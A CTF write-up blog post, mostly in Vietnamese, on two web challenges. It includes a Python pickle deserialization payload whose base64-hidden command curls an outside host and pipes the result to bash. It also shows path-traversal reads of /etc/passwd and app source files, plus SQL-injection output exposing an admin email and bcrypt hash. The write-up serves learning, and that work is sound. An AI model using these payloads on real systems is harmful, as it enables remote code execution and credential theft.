Here is my solution for Pickleball and Letmein challenges. :< My team planned to join this ctf, but it seems everyone is busy. So sad. Btw thx authors for the great challenges
----------------------------------------------------------------------------------------------------------------------------
Pickleball: You can refer to the use of opcodes for bypassing,
https://laxiisteam.blogspot.com/2023/09/kma-thi-sinh-vien-attt-cap-hoc-vien-he.html
or just run my script
import base64
import pickle
payload = b"""(cos
system
S'echo Y3VybCBwamZ3MmxwNS5yZXF1ZXN0cmVwby5jb20=|base64 -d|bash'
o"""
ab = base64.b64encode(payload)
print(ab)
Let me in: This black box challenge has 0 solves. I’ve never worked with Ruby on Rails before, so I encountered quite a few difficulties. Here’s how I approached it
Giao diện nó đây, có 2 chức năng dễ thấy là signup và signin
Wappalyzer cho thấy backend có khả năng được viết bằng Ruby
Step1: Path travesal
View-source mình thấy một endpoint lạ với tham số img trông có vẻ khả nghi. Trông khá giống path traversal <(")
Ngoài ra còn một số cái controller mà mình chả biết gọi là gì nhưng mà mọi người thì chắc quen với nó rồi, cái này nó sẽ xử lý requests từ routes =)))
OK, bắt đầu. Trước tiên sẽ test nhưng payload cơ bản của LFI ../
Tuy nhiên nếu path.startwith('..') thì nó auto trả về 1.webp.
Sửa một xíu để đọc ../../etc/passwd -> ./../../etc/passwd
Ờ, bắt đầu đọc /etc/hosts, /etc/passwd, /proc/self/environ nhưng thực sự nó không có gì hữu ích cả. Điểm lạ là cái /proc/self/environ trả về 1 đống loằng ngoằng nên mình sẽ tạm bỏ qua. Nhờ chatgpt liệt kê một số kiến trúc cũng như các tổ chức folder.
1. Monolithic Architecture (Kiến trúc nguyên khối)
Đây là cấu trúc thư mục tiêu chuẩn của một ứng dụng Ruby on Rails:
app/
controllers/ # Chứa các controller xử lý logic điều hướng
models/ # Chứa các model quản lý logic dữ liệu
views/ # Chứa các file HTML được render (thường kèm ERB hoặc HAML)
helpers/ # Chứa các module hỗ trợ cho views
mailers/ # Chứa logic gửi email
assets/ # Chứa tài nguyên tĩnh như CSS, JavaScript, hình ảnh
config/
environments/ # Cấu hình cho môi trường (development, production, test)
initializers/ # File khởi tạo các cài đặt hoặc gem
locales/ # File dịch cho i18n
routes.rb # Định nghĩa các route
db/
migrate/ # Chứa các file migration để quản lý schema database
seeds.rb # Dữ liệu mẫu để khởi tạo database
lib/
tasks/ # Chứa các rake task
modules/ # Module được tái sử dụng
log/ # Chứa file log của ứng dụng
public/ # Chứa các file tĩnh được phục vụ trực tiếp (favicon, error pages)
test/ hoặc spec/ # Thư mục cho test (RSpec, Minitest)
Gemfile # Danh sách các gem phụ thuộc
Gemfile.lock # Phiên bản cụ thể của các gem
Dựa vào đây mình sẽ đọc các routes của nó: ./../config/routes.rb
Các endpoint có ở đây là: /up, /static, /getflag
Cũng nhờ chatgpt mà mình cũng tìm được vị trí các file cần thiết
Trong Rails, khi bạn định nghĩa một route, nó sẽ map đến một action trong controller
tương ứng. Dựa trên đoạn code bạn cung cấp, đây là cách tìm controller cho từng route:
1. pages/home:
Controller: PagesController
Action: home
File tương ứng: app/controllers/pages_controller.rb
2. up:
Controller: Rails::HealthController
Action: show
Đây là một controller tích hợp sẵn trong Rails, thường không cần tạo file mới.
3. static:
Controller: FileController
Action: download
File tương ứng: app/controllers/file_controller.rb
4. getflag:
Controller: GetflagController
Action: get
File tương ứng: app/controllers/getflag_controller.rb
5. Root path (root "pages#home"):
Controller: PagesController
Action: home
File tương ứng: app/controllers/pages_controller.rb
Đọc /static trước ./../app/controllers/file_controller.rb
Đọc /getflag: ./../app/controllers/getflag_controller.rb
Đọc /pages/home: ./../app/controllers/pages_controller.rb
Ờ thì đọc /readflag luôn -> lưu lại và import vô IDA
Ờ thì nó sẽ mở file flag lên đọc nhưng mà mình ko download được nên chắc là nó cấp quyền rồi :( suy ác luôn hmu hmu
Ờ thì quay lại mình cần login như admin để đọc flag -> vậy thì tìm username/password admin hoặc là thay đổi role trong session của mình, đại loại vậy
Để ý trong routes.rb nó có dòng này
devise_for :users
devise_for :users
là một phương thức được cung cấp bởi Devise, một gem phổ biến trong Ruby on Rails dùng để quản lý xác thực và phiên làm việc của người dùng.
Khi bạn sử dụng devise_for :users
trong tệp routes.rb
, Devise sẽ tự động tạo ra các đường dẫn và controller cần thiết để xử lý các chức năng liên quan đến người dùng, như:
- Đăng ký (sign up)
- Đăng nhập (sign in)
- Đăng xuất (sign out)
- Quên mật khẩu (forgot password)
- Reset mật khẩu
- Xác thực email
- Quản lý tài khoản người dùng
đọc: ./../../config/initializers/devise.rb
--------------------
Step2: Directory bruteforce <(")
-> /data/debug
-> up.php
/data../ -> đọc được user information
/data../?order=desc -> SQL injection
'admin'
[19:11:56] [INFO] retrieved: 'ap@admin.com'
[19:11:56] [INFO] retrieved: '$2a$12$o9GJj.Jvj8WHbl36jsCKhunMZkAf2xrCi4myoHkcEsbIx.EQ3Jute'
[19:11:56] [INFO] retrieved: '3'
MAi làm tiếp, ngủ
Nhận xét
Đăng nhận xét